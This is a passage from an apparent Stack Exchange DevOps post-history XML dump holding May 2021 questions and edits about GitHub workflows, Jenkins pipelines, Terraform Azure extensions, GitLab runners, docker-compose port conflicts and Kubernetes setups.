  <row Id="43768" PostHistoryTypeId="1" PostId="13915" RevisionGUID="1f5944da-3065-4a28-9f53-02e5c74ab296" CreationDate="2021-05-14T18:41:00.093" UserId="27661" Text="Why is parameter not propagated to post-build parameterized build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43769" PostHistoryTypeId="3" PostId="13915" RevisionGUID="1f5944da-3065-4a28-9f53-02e5c74ab296" CreationDate="2021-05-14T18:41:00.093" UserId="27661" Text="&lt;jenkins&gt;&lt;variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43770" PostHistoryTypeId="2" PostId="13916" RevisionGUID="a1cbba34-f72d-4504-8691-cb56249b92bd" CreationDate="2021-05-14T19:11:21.413" UserId="27681" Text="I have a repo, in which there is one folder at the root with a Makefile to build a C library. In the same repo, there is another folder at the root with a folder with another Makefile for building a node C addon via Node-API, and a small JS/TS API using said addon. The NAPI addon is dependent on the C library.&#xD;&#xA;&#xD;&#xA;I have a workflow file for the C which runs when there is a commit on the C folder, and runs with any push or PR.&#xD;&#xA;I have another workflow file that runs when there is a commit+push/PR to the JS/TS folder, OR when the C workflow has completed successfully.&#xD;&#xA;&#xD;&#xA;My goal is (of course) to only have the minimal amount of workflows run, depending on &quot;how high in the stack the commits were&quot;. If commits touch only the C, I want both the C and NAPI addon to be checked. If commits touch only the NAPI addon, I want only the NAPI addon to be checked. If commits touch both the C and NAPI addon, I want both the C and NAPI to be checked; but for NAPI to only be checked once.&#xD;&#xA;&#xD;&#xA;For now, when the commits touch both the C and NAPI addon, the CI for the NAPI addon is launched twice: once for the commits affecting the NAPI folder, once for the successful completion of the C workflow.&#xD;&#xA;&#xD;&#xA;How do I fix this ?&#xD;&#xA;&#xD;&#xA;NB: I've tried using `fkirc/skip-duplicate-actions@master`, but it didn't do the job." ContentLicense="CC BY-SA 4.0" />
  <row Id="43771" PostHistoryTypeId="1" PostId="13916" RevisionGUID="a1cbba34-f72d-4504-8691-cb56249b92bd" CreationDate="2021-05-14T19:11:21.413" UserId="27681" Text="How do I prevent a given GitHub Workflow from being launched twice from two almost simultaneous events?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43772" PostHistoryTypeId="3" PostId="13916" RevisionGUID="a1cbba34-f72d-4504-8691-cb56249b92bd" CreationDate="2021-05-14T19:11:21.413" UserId="27681" Text="&lt;github&gt;&lt;workflow&gt;&lt;github-actions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43773" PostHistoryTypeId="2" PostId="13917" RevisionGUID="929f1a8a-1d41-456f-b924-3626596d5a6d" CreationDate="2021-05-14T19:55:37.270" UserId="27661" Text="I hope it's okay to ask for recommendations here. I'm very new to devops, and am trying to get into the headspace of involved technologies and workflows.&#xD;&#xA;&#xD;&#xA;I've created a webhook in my Bitbucket project that posts to `http://JENKINS_URL/generic-webhook-trigger/invoke`. Using techniques described [here][1], the corresponding Pipeline build in Jenkins only acts if the event was the pushing of a git tag.&#xD;&#xA;&#xD;&#xA;**I would like this Jenkins Pipeline build to trigger _another_ Jenkins build that is triggerable by a human -- what are (good/proper) ways to organize this?** In other words: if `A` is a Pipeline build triggered by a generic webhook, I would like `A` to figure out some variable values and trigger `B`, passing it those variables, and I would like for a human to be able to manually trigger `B` using human-supplied variables.&#xD;&#xA;&#xD;&#xA;In my naivete, I imagined `A` being a Pipeline build because they offer the option to use a Pipeline script, which is the only way I'm currently aware of that offers a way to access the Post content parameters. I.e. if `A` was a freestyle build with a shell script, I don't know how I'd access the Post content.&#xD;&#xA;&#xD;&#xA;However, when `A` is a Pipeline build there is no `Post-build Actions` section in the Jenkins UI -- i.e. I don't see how a Pipeline build can trigger a subsequent build.&#xD;&#xA;&#xD;&#xA;From naivete, again, I envisioned a Pipeline build triggering a freestyle build because the Pipeline build allows accessing generic webhook post content, and the freestyle build is human-triggerable, and can be parameterized so that either the human or the calling Pipeline build can supply those parameters.&#xD;&#xA;&#xD;&#xA;(I hope I might also direct some eyeballs to a separate, but related, question about passing parameters to parameterized builds: https://devops.stackexchange.com/questions/13915/why-is-parameter-not-propagated-to-post-build-parameterized-build)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=8mrJNkofxq4" ContentLicense="CC BY-SA 4.0" />
  <row Id="43774" PostHistoryTypeId="1" PostId="13917" RevisionGUID="929f1a8a-1d41-456f-b924-3626596d5a6d" CreationDate="2021-05-14T19:55:37.270" UserId="27661" Text="What are ways to structure a webhook-triggered job that triggers a human-triggerable job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43775" PostHistoryTypeId="3" PostId="13917" RevisionGUID="929f1a8a-1d41-456f-b924-3626596d5a6d" CreationDate="2021-05-14T19:55:37.270" UserId="27661" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43779" PostHistoryTypeId="2" PostId="13919" RevisionGUID="aeca49b5-1ba6-4c69-babe-7ed2b3515584" CreationDate="2021-05-15T12:09:53.093" UserId="27697" Text="I need to deploy guest extensions for linux based VMs that defined in script as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;azurerm_linux_virtual_machine&quot; &quot;vm-sample&quot; {&#xD;&#xA;  name = &quot;vm-msample&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_virtual_machine_extension&quot; &quot;vm-guests&quot; {&#xD;&#xA;   name                 = &quot;${azurerm_linux_virtual_machine.vm-sample.name}/AzurePolicyforLinux&quot;&#xD;&#xA;   virtual_machine_id   = azurerm_linux_virtual_machine.vm-sample.id&#xD;&#xA;   publisher            = &quot;Microsoft.GuestConfiguration&quot;&#xD;&#xA;   type                 = &quot;ConfigurationforLinux&quot;&#xD;&#xA;   type_handler_version = &quot;1.0&quot;&#xD;&#xA;   settings = &quot;&quot;&#xD;&#xA; }&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This definition I get from MSDN:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/guest-configuration&#xD;&#xA;by adapt ARM template to .tf script&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;type&quot;: &quot;Microsoft.Compute/virtualMachines/extensions&quot;,&#xD;&#xA;  &quot;name&quot;: &quot;[concat(parameters('VMName'), '/AzurePolicyforLinux')]&quot;,&#xD;&#xA;  &quot;apiVersion&quot;: &quot;2019-07-01&quot;,&#xD;&#xA;  &quot;location&quot;: &quot;[parameters('location')]&quot;,&#xD;&#xA;  &quot;dependsOn&quot;: [&#xD;&#xA;    &quot;[concat('Microsoft.Compute/virtualMachines/', parameters('VMName'))]&quot;&#xD;&#xA;  ],&#xD;&#xA;  &quot;properties&quot;: {&#xD;&#xA;    &quot;publisher&quot;: &quot;Microsoft.GuestConfiguration&quot;,&#xD;&#xA;    &quot;type&quot;: &quot;ConfigurationforLinux&quot;,&#xD;&#xA;    &quot;typeHandlerVersion&quot;: &quot;1.0&quot;&#xD;&#xA;    &quot;autoUpgradeMinorVersion&quot;: true,&#xD;&#xA;    &quot;settings&quot;: {},&#xD;&#xA;    &quot;protectedSettings&quot;: {}&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But when I try to deploy it says the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: compute.VirtualMachineExtensionsClient#CreateOrUpdate: Failure sending request: StatusCode=0 -- Original Error: Code=&quot;ResourceNotFound&quot; Message=&quot;The Resource 'Microsoft.Compute/virtualMachines/vm-sample/extensions/vm-sample' under resource group 'rg-sample' was not found. For more details please go to https://aka.ms/ARMResourceNotFoundFix&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;in CLI it works with result:&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;autoUpgradeMinorVersion&quot;: true,&#xD;&#xA;  &quot;enableAutomaticUpgrade&quot;: null,&#xD;&#xA;  &quot;forceUpdateTag&quot;: null,&#xD;&#xA;  &quot;id&quot;: &quot;/subscriptions/&lt;cut&gt;/resourceGroups/rg-sample/providers/Microsoft.Compute/virtualMachines/vm-sample/extensions/AzurePolicyforLinux&quot;,&#xD;&#xA;  &quot;instanceView&quot;: null,&#xD;&#xA;  &quot;location&quot;: &quot;eastus2&quot;,&#xD;&#xA;  &quot;name&quot;: &quot;AzurePolicyforLinux&quot;,&#xD;&#xA;  &quot;protectedSettings&quot;: null,&#xD;&#xA;  &quot;provisioningState&quot;: &quot;Succeeded&quot;,&#xD;&#xA;  &quot;publisher&quot;: &quot;Microsoft.GuestConfiguration&quot;,&#xD;&#xA;  &quot;resourceGroup&quot;: &quot;rg-sample&quot;,&#xD;&#xA;  &quot;settings&quot;: null,&#xD;&#xA;  &quot;tags&quot;: null,&#xD;&#xA;  &quot;type&quot;: &quot;Microsoft.Compute/virtualMachines/extensions&quot;,&#xD;&#xA;  &quot;typeHandlerVersion&quot;: &quot;1.26&quot;,&#xD;&#xA;  &quot;typePropertiesType&quot;: &quot;ConfigurationforLinux&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Please help me rewrite this ARM template to .tf script" ContentLicense="CC BY-SA 4.0" />
  <row Id="43780" PostHistoryTypeId="1" PostId="13919" RevisionGUID="aeca49b5-1ba6-4c69-babe-7ed2b3515584" CreationDate="2021-05-15T12:09:53.093" UserId="27697" Text="How to deploy Azure VM extension with Terraform script" ContentLicense="CC BY-SA 4.0" />
  <row Id="43781" PostHistoryTypeId="3" PostId="13919" RevisionGUID="aeca49b5-1ba6-4c69-babe-7ed2b3515584" CreationDate="2021-05-15T12:09:53.093" UserId="27697" Text="&lt;terraform&gt;&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43782" PostHistoryTypeId="2" PostId="13920" RevisionGUID="830bfa77-fb57-4c9a-894f-595d4e74d0e3" CreationDate="2021-05-15T12:14:57.977" UserId="27696" Text="After Further research, I found [an open issue on gitlab](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3750) pretty similar to mine.&#xD;&#xA;They describe runners freshly created and unable to pick up jobs.&#xD;&#xA;As for my use case, The runner was created but with warning stating &quot;New Runner, has not connected yet&quot;.&#xD;&#xA;&#xD;&#xA;In order to further check the status of the runner, I went to my terminal on the machine where I installed and registered the runner, namely my mac book pro, and I ran the following command:&#xD;&#xA;&#xD;&#xA;    sudo gitlab-runner verify&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;In the settings of the project, the runner's status switches to &quot;**Online**&quot; as you can see below, with a green label:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As a result, the project's pipeline status went from &quot;Pending&quot; to &quot;Running&quot;&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Even though Job status remain pending, but with no wanring any more.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/zYWy6.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/2QIZc.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/zldkt.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43783" PostHistoryTypeId="5" PostId="13920" RevisionGUID="da31029d-9914-4ae7-86c8-9879e9ba4de3" CreationDate="2021-05-15T12:36:57.420" UserId="27696" Comment="add additional valuable info to lighten the problem" Text="After Further research, I found [an open issue on gitlab](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3750) pretty similar to mine.&#xD;&#xA;They describe runners freshly created and unable to pick up jobs.&#xD;&#xA;As for my use case, The runner was created but with warning stating &quot;New Runner, has not connected yet&quot;.&#xD;&#xA;&#xD;&#xA;In order to further check the status of the runner, I went to my terminal on the machine where I installed and registered the runner, namely my mac book pro, and I ran the following command:&#xD;&#xA;&#xD;&#xA;    sudo gitlab-runner verify&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;In the settings of the project, the runner's status switches to &quot;**Online**&quot; as you can see below, with a green label:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As a result, the project's pipeline status went from &quot;Pending&quot; to &quot;Running&quot;&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Nevertheless, while the change of pipeline status, from &quot;pending&quot; to &quot;running&quot; thanks to gitlab runner's status going &quot;Online&quot;, the associated CI build Job Status is still stuck at &quot;Pending&quot;. This means that gitlab runner, even with all its characteristics looking fine, fails to pick up the job he's supposed to.&#xD;&#xA;[![enter image description here][4]][4] &#xD;&#xA;&#xD;&#xA;I'm aware this is not really a pure answer with final solution but I hope this will help move things forward on this topic !&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/zYWy6.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/2QIZc.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/zldkt.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/ZaKpB.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43784" PostHistoryTypeId="2" PostId="13921" RevisionGUID="7d81cb82-37bd-43c5-8358-4d6175dff327" CreationDate="2021-05-15T16:23:40.220" UserId="27700" Text="I have heard serverless so many times. People say it can automatically scale in response to users requests without developers maintaining infrastructure. But from a architecture point of view, what is the relation between serverless and kubernetes? Could you provide me some materials to understand, such as architecture diagrams. &#xD;&#xA;&#xD;&#xA;I would also love to hear the difference between deploying an application into an open-source serverless framework and a k8s cluster. &#xD;&#xA;&#xD;&#xA;From the OpenFaas diagram, it looks like, it is built upon k8s. Is this also true for other serverless frameworks such as OpenWhish. I cannot understand how building [openwhisk][1] upon k8s possible.    &#xD;&#xA;&#xD;&#xA;Not sure this is the correct community to ask this question, if not, please let me know. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Fwww.8bitmen.com%2Fwhat-is-apache-openwhisk-why-use-it-everything-you-should-know-about-it%2F&amp;psig=AOvVaw2KzHcJlorJJBIWNeoZl4qP&amp;ust=1621181872632000&amp;source=images&amp;cd=vfe&amp;ved=0CAIQjRxqFwoTCMDk5p-LzPACFQAAAAAdAAAAABAD" ContentLicense="CC BY-SA 4.0" />
  <row Id="43785" PostHistoryTypeId="1" PostId="13921" RevisionGUID="7d81cb82-37bd-43c5-8358-4d6175dff327" CreationDate="2021-05-15T16:23:40.220" UserId="27700" Text="What is the relation between serverless and kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="43786" PostHistoryTypeId="3" PostId="13921" RevisionGUID="7d81cb82-37bd-43c5-8358-4d6175dff327" CreationDate="2021-05-15T16:23:40.220" UserId="27700" Text="&lt;kubernetes&gt;&lt;aws-lambda&gt;&lt;serverless&gt;&lt;openwhisk&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43787" PostHistoryTypeId="2" PostId="13922" RevisionGUID="1cfb74cc-2ca2-4d60-ad5d-a302881e5c15" CreationDate="2021-05-15T16:56:48.763" UserId="27703" Text="I'm trying to a `gitlab/gitlab-ce` image up and running with docker-compose on macOS (Big Sur) (`docker-compose up -d`). I'm using `docker-machine` with the virtualBox driver.&#xD;&#xA;&#xD;&#xA; However, when starting the container I get the following error:&#xD;&#xA;&#xD;&#xA;```ERROR: for gitlab-docker_web_1  Cannot start service web: driver failed programming external connectivity on endpoint gitlab-docker_web_1 (236233cf090b94f98e2e82c2fa795bc7f6f5ff38e2ea14f3649e87313a21d196): Error starting userland proxy: listen tcp 0.0.0.0:22: bind: address already in use&#xD;&#xA;&#xD;&#xA;ERROR: for web  Cannot start service web: driver failed programming external connectivity on endpoint gitlab-docker_web_1 (236233cf090b94f98e2e82c2fa795bc7f6f5ff38e2ea14f3649e87313a21d196): Error starting userland proxy: listen tcp 0.0.0.0:22: bind: address already in use&#xD;&#xA;ERROR: Encountered errors while bringing up the project.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The issues is, I can't find anything running on port 22 on the host. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&gt; sudo lsof -i :22&#xD;&#xA;&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;returns nothing. Running `netstat -l | grep 22` to look for listening ports I don't see anything either:&#xD;&#xA;&#xD;&#xA;```tcp4       0      0  byrons-mac-pro.l.61180 136.255.227.35.b.https ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.61179 229.26.211.130.b.https ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.60764 108.177.122.108.imaps  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.60761 108.177.122.108.imaps  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.60760 108.177.122.108.imaps  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.60759 108.177.122.108.imaps  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.60758 108.177.122.108.imaps  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.60755 108.177.122.108.imaps  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.60754 108.177.122.108.imaps  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.54147 yi-in-f188.1e100.5228  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.49743 104.22.52.136.https    ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.49734 yv-in-f188.1e100.5228  ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.49556 108.177.122.95.https   ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.49173 17.57.144.150.5223     ESTABLISHED&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.61183 52.96.122.50.https     TIME_WAIT&#xD;&#xA;tcp4       0      0  byrons-mac-pro.l.61182 52.96.122.50.https     TIME_WAIT&#xD;&#xA;udp4       0      0  byrons-mac-pro.l.56826 108.177.122.139.https&#xD;&#xA;c0fd8701c6b3232b stream      0      0                0 c0fd8701c6b32263                0                0&#xD;&#xA;c0fd8701c6b32263 stream      0      0                0 c0fd8701c6b3232b                0                0&#xD;&#xA;c0fd8701b7e36583 stream      0      0 c0fd8701b9bb407b                0                0                0 /var/folders/yt/c5z_l8554mq_fc3f0c5tpw600000gn/T/dotnet-diagnostic-2202-1621045110-socket&#xD;&#xA;c0fd8701add5cb63 stream      0      0                0 c0fd8701add5ca9b                0                0 /var/folders/yt/c5z_l8554mq_fc3f0c5tpw600000gn/T/vscode-ipc-a70bbba5-ec65-4f40-861a-0bc122628a75.sock&#xD;&#xA;c0fd8701a9b0232b dgram       0      0                0 c0fd8701a9b02263 c0fd8701a9b02263                0&#xD;&#xA;c0fd8701a9b02263 dgram       0      0                0 c0fd8701a9b0232b c0fd8701a9b0232b                0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm a bit stumped. Here's my `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;web:&#xD;&#xA;  image: &quot;gitlab/gitlab-ce:latest&quot;&#xD;&#xA;  restart: always&#xD;&#xA;  hostname: &quot;byrons-mac-pro.lan&quot;&#xD;&#xA;  environment:&#xD;&#xA;    GITLAB_OMNIBUS_CONFIG: |&#xD;&#xA;      external_url 'http://byrons-mac-pro.lan'&#xD;&#xA;      gitlab_rails['smtp_enable'] = true&#xD;&#xA;      gitlab_rails['smtp_address'] = 'smtp.gmail.com'&#xD;&#xA;      gitlab_rails['smtp_port'] = 587&#xD;&#xA;      gitlab_rails['smtp_user_name'] = 'remove@cantellyou.com'&#xD;&#xA;      gitlab_rails['smtp_password'] = '.........................'&#xD;&#xA;      gitlab_rails['smtp_domain'] = 'smtp.gmail.com'&#xD;&#xA;      gitlab_rails['smtp_authentication'] = 'login'&#xD;&#xA;      gitlab_rails['smtp_enable_starttls_auto'] = true&#xD;&#xA;      gitlab_rails['smtp_tls'] = false&#xD;&#xA;      gitlab_rails['smtp_openssl_verify_mode'] = 'peer' # Can be: 'none', 'peer', 'client_once', 'fail_if_no_peer_cert', see http://api.rubyonrails.org/classes/ActionMailer/Base.html&#xD;&#xA;      puma['worker_processes'] = 2&#xD;&#xA;      sidekiq['max_concurrency'] = 10&#xD;&#xA;      prometheus_monitoring['enable'] = false&#xD;&#xA;  ports:&#xD;&#xA;    - &quot;80:80&quot;&#xD;&#xA;    - &quot;443:443&quot;&#xD;&#xA;    - &quot;22:22&quot;&#xD;&#xA;  volumes:&#xD;&#xA;    - &quot;$GITLAB_HOME/config:/etc/gitlab&quot;&#xD;&#xA;    - &quot;$GITLAB_HOME/logs:/var/log/gitlab&quot;&#xD;&#xA;    - &quot;$GITLAB_HOME/data:/var/opt/gitlab&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43788" PostHistoryTypeId="1" PostId="13922" RevisionGUID="1cfb74cc-2ca2-4d60-ad5d-a302881e5c15" CreationDate="2021-05-15T16:56:48.763" UserId="27703" Text="Docker compose up, Error starting userland proxy: listen tcp 0.0.0.0:22: bind: address already in use" ContentLicense="CC BY-SA 4.0" />
  <row Id="43789" PostHistoryTypeId="3" PostId="13922" RevisionGUID="1cfb74cc-2ca2-4d60-ad5d-a302881e5c15" CreationDate="2021-05-15T16:56:48.763" UserId="27703" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;gitlab&gt;&lt;macos&gt;&lt;docker-machine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43790" PostHistoryTypeId="2" PostId="13923" RevisionGUID="65d406cf-cf19-4c22-8f75-18f46fde74b6" CreationDate="2021-05-15T18:04:51.350" UserId="27705" Text="I don't think it is the compatibility, need to really see your configuration to be sure. But most likely, you block something wrongly. If you use the default network policy api `networking.k8s.io/v1` notice that it only allows what is defined." ContentLicense="CC BY-SA 4.0" />
  <row Id="43791" PostHistoryTypeId="2" PostId="13924" RevisionGUID="26716144-fb24-40e7-a04f-962e177a443f" CreationDate="2021-05-15T23:28:48.233" UserId="27704" Text="My team uses Gerrit for code review, and has it installed on Kubernetes via Helm chart. We want to be able to see our code changes, and so we wanted to integrate Gitweb with Gerrit. This begins with installing Gitweb onto the container. Typically, this is just a matter of entering the following in Gerrit's pod:&#xD;&#xA;&#xD;&#xA;    apk add --update gitweb&#xD;&#xA;&#xD;&#xA;However, we are getting the following error:&#xD;&#xA;&#xD;&#xA;    ERROR: Unable to lock database: Permission Denied.&#xD;&#xA;    ERROR: Failed to open apk database: Permission Denied.&#xD;&#xA;&#xD;&#xA;This is of course an issue of permissions, however we do not want to have the docker container have root user permissions (since it is a security vulnerability) and even if we wanted to, it is installed through Helm Charts, so we do not have access to the docker files (since Helm Charts pulls them directly from Docker Hub).&#xD;&#xA;&#xD;&#xA;Is there still a way to install Gitweb onto this container? I'm somewhat lost because I'm still new to Helm Charts, so I'm not sure if this can be made to work through it, or if I just have to find a workaround.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As an added note: Please let me know if you need any further information or clarification. I'm new to posting questions on Stack Exchange, so if I'm sounding vague, let me know and I'll clarify where I can." ContentLicense="CC BY-SA 4.0" />
  <row Id="43792" PostHistoryTypeId="1" PostId="13924" RevisionGUID="26716144-fb24-40e7-a04f-962e177a443f" CreationDate="2021-05-15T23:28:48.233" UserId="27704" Text="How do I install GitWeb onto k8s-Gerrit? (itself installed through Helm chart)" ContentLicense="CC BY-SA 4.0" />
  <row Id="43793" PostHistoryTypeId="3" PostId="13924" RevisionGUID="26716144-fb24-40e7-a04f-962e177a443f" CreationDate="2021-05-15T23:28:48.233" UserId="27704" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;dockerfile&gt;&lt;helm&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43794" PostHistoryTypeId="33" PostId="13888" RevisionGUID="e26e037d-d384-4962-92cb-1853b2e6a3fa" CreationDate="2021-05-16T00:00:41.763" UserId="2943" Comment="73" />
  <row Id="43795" PostHistoryTypeId="5" PostId="13896" RevisionGUID="f96f2231-bb7b-40a5-aa29-470964de18fc" CreationDate="2021-05-16T05:18:54.877" UserId="40" Comment="deleted 85 characters in body; edited tags" Text="I have large Kubernates jobs which take the whole resources of one node / droplet in Digitalocean (it's not running on AWS).&#xD;&#xA;&#xD;&#xA;Using resources in a deploy.yaml, the cluster autoscaler works to scale up, but sometimes the nodes continue to run instead of killing / scaling down when the job is done.&#xD;&#xA;&#xD;&#xA;How do I make sure the nodes get killed when the job is done? They are expensive!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43796" PostHistoryTypeId="6" PostId="13896" RevisionGUID="f96f2231-bb7b-40a5-aa29-470964de18fc" CreationDate="2021-05-16T05:18:54.877" UserId="40" Comment="deleted 85 characters in body; edited tags" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43797" PostHistoryTypeId="2" PostId="13925" RevisionGUID="635d5c1a-035c-4528-9296-d2c489fc780c" CreationDate="2021-05-16T06:49:43.753" UserId="27710" Text="Company wants to use Tableau solution for reporting. The inputs are various files. The plan is to use latest SQL Server as database and server. &#xD;&#xA;&#xD;&#xA;Q. Does Tableau has their own database, without SQL Server, can perform own reporting?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43798" PostHistoryTypeId="1" PostId="13925" RevisionGUID="635d5c1a-035c-4528-9296-d2c489fc780c" CreationDate="2021-05-16T06:49:43.753" UserId="27710" Text="Tableau Reporting Solution" ContentLicense="CC BY-SA 4.0" />
  <row Id="43799" PostHistoryTypeId="3" PostId="13925" RevisionGUID="635d5c1a-035c-4528-9296-d2c489fc780c" CreationDate="2021-05-16T06:49:43.753" UserId="27710" Text="&lt;sql&gt;&lt;infrastructure&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43801" PostHistoryTypeId="5" PostId="13925" RevisionGUID="0cf65c99-dbe0-4765-a5f3-171238c229fa" CreationDate="2021-05-16T06:56:02.643" UserId="27710" Comment="added 7 characters in body" Text="Company wants to use Tableau solution for visual reporting. The inputs are various files. The plan is to use latest SQL Server as database and server. &#xD;&#xA;&#xD;&#xA;Q. Does Tableau has their own database ? Can perform own reporting without SQL Server?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43802" PostHistoryTypeId="2" PostId="13926" RevisionGUID="91d8fa41-9e2d-43fd-8109-73cd41497854" CreationDate="2021-05-16T11:20:33.307" UserId="27716" Text="Working on a script which involves querying a PostgreSQL db. This db is on a host which is behind an f5 VPN.&#xD;&#xA;&#xD;&#xA;I'm pretty new to the concept of VPNs, and particularly with f5's products.&#xD;&#xA;&#xD;&#xA;Ideally, I'd set up a connection to the VPN and just proceed with querying the db. Locally this is what I managed to do (using my browser I set a up a connection and just executed my script while the vpn connection is on my browser) to test my script.&#xD;&#xA;&#xD;&#xA;Problem is that I need to execute that script in a kubernetes cluster, and I feel clueless how doing that:&#xD;&#xA;&#xD;&#xA; - Is a side container is considered good practice?&#xD;&#xA; - Which f5 product can assist my achieving my goal?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Notes that may help:&#xD;&#xA;&#xD;&#xA; - For now the script I'm working is the only piece of code which needs such kind of access.&#xD;&#xA; - If there is a generic practice/technique that I can apply so integration with future additional types of VPNs would be easy, that would be awesome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any reference to a guide or relevant docs would also be extremely helpful.&#xD;&#xA;&#xD;&#xA;Thanks a lot!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43803" PostHistoryTypeId="1" PostId="13926" RevisionGUID="91d8fa41-9e2d-43fd-8109-73cd41497854" CreationDate="2021-05-16T11:20:33.307" UserId="27716" Text="How to properly set up a VPN connection inside a kubernetes pod?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43804" PostHistoryTypeId="3" PostId="13926" RevisionGUID="91d8fa41-9e2d-43fd-8109-73cd41497854" CreationDate="2021-05-16T11:20:33.307" UserId="27716" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;vpn&gt;&lt;f5&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43805" PostHistoryTypeId="2" PostId="13927" RevisionGUID="e5a79530-9909-44d7-86e5-57fc04a551c0" CreationDate="2021-05-16T14:51:19.780" UserId="27721" Text="I am trying to run sh commands from a Jenkins pipeline inside a Docker container, which is located inside a Kubernetes pod.&#xD;&#xA;&#xD;&#xA;I am using the [Kubernetes plugin][1] and after some research and experimenting, it looks like the commands indeed run in the container, but the workspace is being &quot;replaced&quot; with the one from Jenkins.  &#xD;&#xA;In the yaml object that is getting printed in *Console Output*, one can see a workspace-volume being inserted:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;containers:&#xD;&#xA;- ...&#xD;&#xA;  ...&#xD;&#xA;  volumeMounts:&#xD;&#xA;  - mountPath: &quot;/home/jenkins/agent&quot;&#xD;&#xA;    name: &quot;workspace-volume&quot;&#xD;&#xA;    readOnly: false&#xD;&#xA;volumes:&#xD;&#xA;- emptyDir:&#xD;&#xA;  medium: &quot;&quot;&#xD;&#xA;name: &quot;workspace-volume&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I need to be able to run npm commands inside the container while the same is working.  &#xD;&#xA;How should I execute 